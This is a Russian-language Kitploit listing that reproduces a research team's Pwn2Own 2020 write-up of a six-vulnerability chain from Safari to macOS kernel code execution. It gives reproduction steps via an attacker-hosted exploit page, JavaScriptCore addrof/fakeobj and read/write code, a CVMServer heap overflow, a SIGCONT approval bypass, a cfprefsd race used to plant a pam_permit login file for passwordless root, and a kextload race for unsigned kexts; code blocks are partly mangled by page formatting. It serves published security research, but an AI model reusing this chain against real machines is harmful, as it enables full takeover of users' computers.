Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
pwn2own2020 — Компрометация ядра macOS через Safari путем объединения шести уязвимостей | Kitploit
Инструменты/GitHubGitHub/sslab-gatech/pwn2own2020
Повышение привилегийЭксплуатацияШелл-кодЭксплуатация веб-приложенийТестирование на ПроникновениеРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubsslab-gatech/pwn2own2020

pwn2own2020

Компрометация ядра macOS через Safari путем объединения шести уязвимостей

Репозиторий
414585 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Компрометация ядра macOS через Safari с помощью цепочки из шести уязвимостей

Обзор

Этот репозиторий содержит информацию об эксплуатации и технические детали нашей победной заявки на Pwn2Own 2020, направленной на Apple Safari с повышением привилегий ядра для macOS 10.15.3. Для получения дополнительных сведений вы также можете ознакомиться с нашими слайдами с Blackhat USA 2020 и видео. Этот репозиторий также включает наше демонстрационное видео успешной эксплуатации.

Как воспроизвести

  1. Запустите HTTP-сервер с помощью python3 в папке exploits.```shell $ python3 -m http.server 80
root@kitploit:~
2. Откройте веб-сайт с IP-адресом сервера атакующего через Safari:```
http://[attacker_ip]/exploit.html
  1. Дождитесь появления Калькулятора (обычно появляется через десять секунд, но если не повезет, это займет больше времени) и терминала с привилегиями ядра. Чтобы продемонстрировать наше повышение привилегий ядра, мы отключили SIP. Вы можете проверить это, выполнив команду csrutil status, которая покажет disabled.

Сборка из исходников

Для вашего удобства мы предоставили скомпилированный пейлоад, payload.js. Но если хотите, вы можете собрать его самостоятельно. Обратите внимание, что это займет очень много времени, так как мы будем собирать WebKit как часть нашей цепочки эксплойта. Стоит отметить, что мы тестировали процесс сборки только в Mac OS.```shell

Install xcode first

$ python3 -m pip install --user lief $ make

root@kitploit:~
Технические детали
-----------------

Для создания этого эксплойта мы объединили следующие *ШЕСТЬ* уязвимостей.

### 1. Удаленное выполнение кода в Safari из-за некорректного моделирования побочных эффектов оператора 'in' в компиляторе DFG JavaScriptCore

- Анализ первопричины

В JavaScriptCore, когда свойство с индексом запрашивается с помощью оператора 'in', компилятор DFG предполагает, что это не имеет побочных эффектов, если только в цепочке прототипов нет объекта-прокси, который может перехватить эту операцию. JavaScriptCore помечает объект, который может перехватить доступ к свойству с индексом, с помощью флага 'MayHaveIndexedAccessors'. Этот флаг явно установлен для объекта Proxy.```javascript
0 in [] // side-effect free

let arr = [];
arr.__proto__ = new Proxy({}, {});
0 in arr // can cause side-effect!

Однако существует другой объект, который может вызвать побочный эффект: JSHTMLEmbedElement, реализующий собственный метод getOwnPropertySlot(). Один из способов вызвать JavaScript-колбэки (т.е. побочные эффекты) с помощью оператора 'in' — использовать элемент с плагином PDF; когда любое свойство запрашивается у DOM-объекта embed/object, он пытается загрузить поддерживаемый плагин, и обработчик события DOMSubtreeModified может быть вызван в случае плагина PDF, поскольку он использует метод appendChild для элемента body.

Это трассировка стека вызова побочного эффекта из getOwnPropertySlot().```txt Stack trace #1 0x1c1463dbb in WebKit::PDFPlugin::PDFPlugin(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1463dbb) #2 0x1c144cac7 in WebKit::PDFPlugin::create(WebKit::WebFrame&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x144cac7) #3 0x1c1b65d48 in WebKit::WebPage::createPlugin(WebKit::WebFrame*, WebCore::HTMLPlugInElement*, WebKit::Plugin::Parameters const&, WTF::String&) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x1b65d48) #4 0x1c18cddc4 in WebKit::WebFrameLoaderClient::createPlugin(WebCore::IntSize const&, WebCore::HTMLPlugInElement&, WTF::URL const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::String const&, bool) (.../WebKit/WebKitBuild/Release/WebKit.framework/Versions/A/WebKit:x86_64+0x18cddc4) #5 0x1cfb3f224 in WebCore::SubframeLoader::loadPlugin(WebCore::HTMLPlugInImageElement&, WTF::URL const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, bool) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d01224) #6 0x1cfb3f62c in WebCore::SubframeLoader::requestObject(WebCore::HTMLPlugInImageElement&, WTF::String const&, WTF::AtomString const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3d0162c) #7 0x1cf424c85 in WebCore::HTMLPlugInImageElement::requestObject(WTF::String const&, WTF::String const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&, WTF::Vector<WTF::String, 0ul, WTF::CrashOnOverflow, 16ul, WTF::FastMalloc> const&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35e6c85) #8 0x1cf300912 in WebCore::HTMLEmbedElement::updateWidget(WebCore::CreatePlugins) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c2912) #9 0x1cfd0a57e in WebCore::FrameView::updateEmbeddedObject(WebCore::RenderEmbeddedObject&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc57e) #10 0x1cfd0a807 in WebCore::FrameView::updateEmbeddedObjects() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3ecc807) #11 0x1cfcf19c7 in WebCore::FrameView::updateEmbeddedObjectsTimerFired() (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x3eb39c7) #12 0x1cedbd595 in WebCore::Document::updateLayoutIgnorePendingStylesheets(WebCore::Document::RunPostLayoutTasks) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2f7f595) #13 0x1cf41b681 in WebCore::HTMLPlugInElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dd681) #14 0x1cf2ffc2d in WebCore::HTMLEmbedElement::renderWidgetLoadingPlugin() const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x34c1c2d) #15 0x1cf41ad77 in WebCore::HTMLPlugInElement::pluginWidget(WebCore::HTMLPlugInElement::PluginLoadingPolicy) const (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x35dcd77) #16 0x1ce7b3e26 in WebCore::pluginScriptObjectFromPluginViewBase(WebCore::HTMLPlugInElement&, JSC::JSGlobalObject*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975e26) #17 0x1ce7b3dca in WebCore::pluginScriptObject(JSC::JSGlobalObject*, WebCore::JSHTMLElement*) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2975dca) #18 0x1ce7b4023 in WebCore::pluginElementCustomGetOwnPropertySlot(WebCore::JSHTMLElement*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0x2976023) #19 0x1cca3e913 in WebCore::JSHTMLEmbedElement::getOwnPropertySlot(JSC::JSObject*, JSC::JSGlobalObject*, JSC::PropertyName, JSC::PropertySlot&) (.../WebKit/WebKitBuild/Release/WebCore.framework/Versions/A/WebCore:x86_64+0xc00913) #20 0x1e946dd6c in llint_slow_path_get_by_id (.../WebKit/WebKitBuild/Release/JavaScriptCore.framework/Versions/A/JavaScriptCore:x86_64+0x232ad6c)

root@kitploit:~
Поскольку ни один объект в цепочке прототипов не помечен атрибутом «MayHaveIndexedAccessors», JIT предполагает, что такое использование оператора 'in' не содержит никаких переходов, устраняя проверки типа массива после перехода.```javascript
// In the frame of 

function opt(arr) {
	arr[0] = 1.1;
	100 in arr; // 100 not exists in arr, making it check __proto__
	return arr[0]
}

for(var i = 0; i < 10000; i++) opt([1.1])
arr.__proto__ = document.querySelector('embed')

document.body.addEventListener('DOMSubtreeModified', () => {
	arr[0] = {}
})

document.body.removeChild(embed)
opt([1.1]) // leaks address of {} as double value

Создав примитив addrof/fakeobj на основе этого, мы можем получить произвольный примитив чтения/записи для выполнения кода с помощью JIT-скомпилированной функции JavaScript.

  • Эксплуатация

После получения примитивов addrof/fakeobj мы преобразуем их в более стабильные примитивы addrof/fakeobj путем подделки объекта.```javascript hostObj = { // hostObj.structureId // hostObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20) id: (new Int64('0x0108191700000000')).asJSValue(), butterfly: null, o: {}, executable:{ a:1, b:2, c:3, d:4, e:5, f:6, g:7, h:8, i:9, // Padding (offset: 0x58) unlinkedExecutable:{ isBuiltinFunction: 1 << 31, a:0, b:0, c:0, d:0, e:0, f:0, // Padding (offset: 0x48) identifier: null } }, // -> fakeIdentifier = fakeObj(addressOf(hostObj) + 0x40) strlen_or_id: (new Int64('0x10')).asDouble(), // String.size target: hostObj // String.data_ptr }

hostObj.executable.unlinkedExecutable.identifier = fakeIdentifier Function.prototype.toString(fakeHostObj) // function leaked-structure-id { [native code] }

root@kitploit:~
Мы утекаем идентификатор структуры объекта hostObj, создавая поддельный объект функции fakeHostObj и вызывая на нём Function.prototype.toString. Имя функции отражает значение идентификатора структуры в виде UTF-16 строки. Мы обновляем hostObj после утечки идентификатора структуры. Стоит отметить, что эта техника взята из [доклада Yong Wang на Blackhat EU 2019](https://www.blackhat.com/eu-19/briefings/schedule/#thinking-outside-the-jit-compiler-understanding-and-bypassing-structureid-randomization-with-generic-and-old-school-methods-17513).```javascript
hostObj = {
                                                            // hostObj.structureId
                                                            // hostObj.butterfly
    _: 1.1,                                                 // dummy
    length: (new Int64('0x4141414141414141')).asDouble(),
                                                            // -> fakeHostObj = fakeObj(addressOf(hostObj) + 0x20)
    id: leakStructureId.asDouble(),                         // fakeHostObj.structureId
    butterfly: fakeHostObj,                                 // fakeHostObj.butterfly
    o: {},
    ...
}

Теперь у нас есть бабочка fakeHostObj, указывающая на сам fakeHostObj. Мы можем использовать примитив addrof/fakeobj, не вызывая снова ошибку, так как можем получить доступ к hostObj.o как JSValue или как double, используя fakeHostObj[2].

Используя утекший идентификатор структуры attackObj и примитив addrof/fakeobj, мы можем создавать объекты, подобные приведённым ниже.```javascript rwObj = { // rwObj.structureId // rwObj.butterfly _: 1.1, // dummy length: (new Int64('0x4141414141414141')).asDouble(), // fakeRwObj = fakeObj(addressOf(rwObj) + 0x20) id: leakStructureId.asDouble(), // fakeRwObj.structureId butterfly: fakeRwObj, // fakeRwObj.butterfly

root@kitploit:~
__: 1.1,                                                // dummy
innerLength: (new Int64('0x4141414141414141')).asDouble(),
                                                        // fakeInnerObj = fakeObj(addressOf(rwObj) + 0x40)
innerId: leakStructureId.asDouble(),                    // fakeInnerObj.structureId
innerButterfly: fakeInnerObj,                           // fakeInnerObj.butterfly

}

root@kitploit:~
Мы можем получить произвольный примитив RW, используя fakeRwObj для обновления указателя butterfly у fakeInnerObj и чтения/записи из/в fakeInnerObj. Для получения RCE из произвольного примитива RW мы инициируем JIT-компиляцию фиктивной функции (dummy function), утекаем адрес кода и перезаписываем его нашим шеллкодом. Иногда утечка адреса кода не удаётся, потому что мы не можем читать/записывать определённые значения из нашего фиктивного массива. В этом случае мы пытаемся аппроксимировать его, читая из позиции указателя + 1 и сдвигая прочитанное значение. Наконец, мы перезаписываем указатель кода функции alert на указатель кода нашей фиктивной функции и вызываем его (с некоторыми аргументами) для выполнения шеллкода.

### 2. Произвольный запуск .app в Safari через символическую ссылку в didFailProvisionalLoad()

Для URL scheme file:// Safari открывает окно Finder с помощью [NSWorkspace selectFile:inFileViewerRootedAtPath:]. Эта функция принимает два параметра, и в большинстве случаев Safari использует только первый параметр, который показывает папку, содержащую указанный файл. Но если используется второй параметр, Finder запускает файл, если он является исполняемым или пакетом приложения.

Safari использует второй параметр после подтверждения того, что указанный путь не является пакетом приложения — каталогом с суффиксом .app. Поскольку символическая ссылка может указывать на пакет приложения, но не является каталогом с суффиксом .app. Таким образом, Safari запустит приложение, на которое указывает символическая ссылка. Этот путь кода может быть вызван отправкой IPC-сообщения didFailProvisionalLoad().

Однако сам Safari не может создать символическую ссылку из-за фильтра системных вызовов песочницы Seatbelt. Поэтому мы используем другую уязвимость, дающую root, но ограниченный песочницей доступ к выполнению кода.

### 3. Произвольное выполнение кода в сервисе CVM (Core Virtual Machine) через переполнение кучи

Существует помещённый в песочницу XPC-сервис с именем com.apple.cvmsServ (т.е. CVMServer), который компилирует шейдеры для различных архитектур. Он является частью встроенного фреймворка OpenGL.

Для запросов с полем "message", установленным в 4, CVMServer разбирает заданные пользователем "framework data" и "maps". Файл данных "maps" находится по пути "/System/Library/Caches/com.apple.CVMS/%s.%s.%u.maps" — первый %s задаётся пользователем без каких-либо фильтров. Таким образом, возможен обход каталога; мы можем заставить его обработать файл, созданный в пределах песочницы Safari.```c
    FILE *fp = fopen(&framework_name_, "r");
    ...
    Header *header = malloc(0x50);
    fread(header, 0x50, 1, v132);
    ...
    items_offset = header->items_offset;
    items_count = header->items_count;
    header = realloc(header, 56 * items_count + items_offset);
    fread(&header->char50, items_offset + 56 * items_count - 0x50, 1, v132);

Если item_count * 56 + items_offset <= 0x50, fread() получит длину с переполнением вниз, близкую к 2^64, что приводит к переполнению кучи с полезной нагрузкой произвольной длины. Обратите внимание, что fread() останавливается при достижении конца указанного файла.

Используя это, мы можем перезаписать объект кучи, связанный с соединением, что позволит изменить указатели, упомянутые ниже:```c case 7: // "message" == 7 v34 = xpc_dictionary_get_uint64(input, "heap_index"); v11 = cvmsServerServiceGetMemory(a1a->session, v34, &port, &size); if ( v11 ) goto error; xpc_dictionary_set_mach_send(reply, "vm_port", port);

__int64 __fastcall cvmsServerServiceGetMemory(xpc_session *a1, unsigned __int64 index, _DWORD *port, _QWORD *a4) { Pool *pool; // rax unsigned int v7; // ebx heapitem *v8; // rax

pthread_mutex_lock((&server_globals + 2)); // a1->attachedService is controlled value pool = a1->attachedService->context->pool_ptr; v7 = 521; if ( pool->pointersCount > index ) { v8 = pool->pointers; *port = v8[index].port; *a4 = v8[index].size; v7 = 0; } pthread_mutex_unlock((&server_globals + 2)); return v7; }

root@kitploit:~
Если значение «port» равно 0x103 (TASK-SELF), служба предоставит клиенту право отправки (send right) порта задачи CVMServer, который может быть использован для выделения памяти и выполнения произвольного кода в процессе. Чтобы сделать v8[index].port == 0x103, мы искали память в области библиотек, которая имеет одинаковые адреса во всех процессах.```txt
rax := UserInput
[rax+0x38] = X
[X+0x30] = Length (UINT64_MAX)
[X+0x28] = Y (0)
[Y+0x18*index+0x10] = 0x103 (== mach_task_self_)

Было много областей, содержащих два 64-битных целых значения 0 и -1, а для rax+0x38 и X+0x30 мы обнаружили, что _xpc_error_termination_imminent (публичный символ) удовлетворяет этому условию. Поскольку длина больше, чем 2^64 / 0x10, мы смогли вычислить модульную инверсию для указателя Y(==0)*0x18+index+0x10 == &0x103.

Поскольку в CVMServer был установлен флаг com.apple.security.cs.allow-jit, мы могли вызвать mmap с флагом MAP_JIT и запустить наш рефлективный загрузчик для выполнения файлов dylib в этом процессе. Мы выполнили этот код на CVMServer:```c // In /var/db/CVMS (writable folder)

char randbuf[0x1000]; sprintf(randbuf, "%lu.app", clock()); symlink(randbuf, "my.app");

// Create a valid application at my.app

root@kitploit:~
После создания %lu.app и символической ссылки my.app мы вернулись в Safari и отправили IPC-сообщение для открытия приложения. Но оставалось ещё две защиты: проверка карантина и проверка первого открытия приложения.

### 4. Обход защиты первого открытия приложения в macOS

Если Safari пытается выполнить приложение впервые, он запрещает его выполнение, если файл имеет атрибут com.apple.quarantine, или ожидает подтверждения пользователя. Все файлы, созданные WebProcess, имеют этот атрибут — com.apple.quarantine, однако мы уже можем обойти это, так как создали папку в процессе CVMServer, а не в WebProcess. Для подтверждения пользователем macOS сначала создаёт процесс, приостанавливает его и продолжает выполнение после нажатия кнопки `Open`. Но отправка сигнала SIGCONT сработала так же, как и нажатие кнопки.

Таким образом, мы непрерывно выполняли этот код в CVMServer после создания my.app:```c
    for(int i = 0; i < 65536; i++)
        kill(i, SIGCONT);

5. Повышение привилегий до root в cfprefsd через произвольное изменение разрешений файла/папки, вызванное состоянием гонки

cfprefsd — это еще один XPC-сервис, который позволяет пользователю создавать plist-файл. Он находится в CoreFoundation и доступен из большинства процессов без песочницы. Поскольку мы уже получили привилегии без песочницы для обычного пользователя (например, CVMServer), мы можем запросить создание plist-файла, если целевая папка и файл имеют достаточные биты разрешений, позволяющие клиентскому пользователю записывать в файл. Однако, если папка не существует, он рекурсивно создает папку для plist-файла.

Вот фрагмент кода из CVMServer, который создает папку.```c _CFPrefsCreatePreferencesDirectory(path) { for(slice in path.split("/")) { cur += slice if(!mkdir(cur, 0777) || errno in (EEXIST, EISDIR)) { chmod(cur, perm) chown(cur, client_id, client_group) } else break } }

root@kitploit:~
Но если путь указывает на каталог, доступный для записи пользователем, пользователь может заменить каталог, на который указывает `cur`, и заменить его символической ссылкой на произвольный файл/папку.
Поскольку cfprefsd имеет привилегии root, можно изменить владельца таких папок, как /etc/pam.d.
Изменив владельца /etc/pam.d, мы можем записать в /etc/pam.d/login следующее содержимое:```txt
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       optional       pam_permit.so
auth       required       pam_permit.so
account    required       pam_permit.so
account    required       pam_permit.so
password   required       pam_permit.so
session    required       pam_permit.so
session    required       pam_permit.so
session    optional       pam_permit.so

Затем команда login root предоставит пользователю root-оболочку без какой-либо аутентификации.

6. Повышение привилегий ядра с использованием обхода этапа подготовки модуля и состояния гонки в kextload

kextload — это одна из программ, которые могут выполнять операции с kext (расширения ядра) в macOS. При запуске kextload [путь к папке .kext] root-пользователь может загрузить подписанный kext из пользовательского режима. Чтобы предотвратить загрузку неподписанных или недействительно подписанных kext, kextload устанавливает обратный вызов 'authenticator' в пакете IOKitUser. К сожалению, путь к kext является единственным доступным ресурсом для обратного вызова, поэтому состояние гонки трудно предотвратить. Чтобы смягчить эту проблему, kextload сначала копирует папку kext в выделенное пространство — /Library/StagedExtensions — которое невозможно изменить даже с root-привилегиями благодаря SIP и механизму прав.

kextload работает следующим образом. Если мы выполним kextload /tmp/A.kext, kextload копирует исходную папку kext в /Library/StagedExtensions/tmp/[UUID].kext. Затем kextload проверяет подписи всех файлов в папке. Если проверка не удалась, он удаляет папку. В противном случае он копирует папку в /Library/StagedExtensions/tmp/A.kext и загружает этот модуль.```txt $ kextload /tmp/A.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext -> validate signatures. if failed, delete the directory -> if succeeded, copy to /Library/StagedExtensions/tmp/A.kext -> load the kext

root@kitploit:~
Одна из проблем kextload заключается в том, что этот процесс может быть завершен пользователем с правами root. Стоит отметить, что вышеупомянутая копия включает символическую ссылку, которая будет проверена позже. Однако, если мы убьем процесс kextload до проверки, мы сможем сохранить недействительный kext с символической ссылкой в /Library/StagedExtensions.```txt
# assume /tmp/A.kext/symlink -> /tmp/
$ kextload /tmp/A.kext
    -> copy to /Library/StagedExtensions/tmp/[UUID].kext
    -> kill this process
    -> then, /Library/StagedExtensions/tmp/[UUID].kext/symlink will be remained

После этого, если мы выполним другую команду kextload с kextload /tmp/[UUID].kext/symlink/B.kext, B.kext будет скопирован в записываемое расположение для пользователя с привилегиями root (например, /tmp/[UUID'].kext)``` $ kextload /tmp/[UUID].kext/symlink/B.kext -> copy to /Library/StagedExtensions/tmp/[UUID].kext/symlink/[UUID'].kext -> since symlink -> /tmp, this is equal to /tmp/[UUID'].kext.

root@kitploit:~
После копирования kextload проверяет, находится ли он в безопасном месте, которым является
`/Library/StagedExtensions/*`. Мы можем временно разместить символическую ссылку по адресу
/tmp/A.kext, указывающую на /Library/StagedExtensions/[путь к допустимому kext]. После
проверки мы можем заменить двоичный файл модуля на неподписанный модуль ядра, чтобы
получить выполнение кода в режиме ядра.

Чтобы сделать гонку надежной, мы использовали sandbox-exec для остановки программы при
обращении к файлу с указанным суффиксом.


Авторы
-------
- Yonghwi Jin ([email protected])
- Jungwon Lim ([email protected])
- Insu Yun ([email protected])
- Taesoo Kim ([email protected])

Цитирование
--------```txt
@inproceedings{jin:pwn2own2020-safari,
  title        = {{Compromising the macOS kernel through Safari by chaining six vulnerabilities}},
  author       = {Yonghwi Jin and Jungwon Lim and Insu Yun and Taesoo Kim},
  booktitle    = {Black Hat USA Briefings (Black Hat USA)},
  month        = aug,
  year         = 2020,
  address      = {Las Vegas, NV},
}

Ссылки

  • https://github.com/saelo/pwn2own2018
  • https://github.com/LinusHenze/WebKit-RegEx-Exploit
  • https://github.com/niklasb/sploits/blob/master/safari/regexp-uxss.html
  • https://i.blackhat.com/eu-19/Thursday/eu-19-Wang-Thinking-Outside-The-JIT-Compiler-Understanding-And-Bypassing-StructureID-Randomization-With-Generic-And-Old-School-Methods.pdf
Скачать инструмент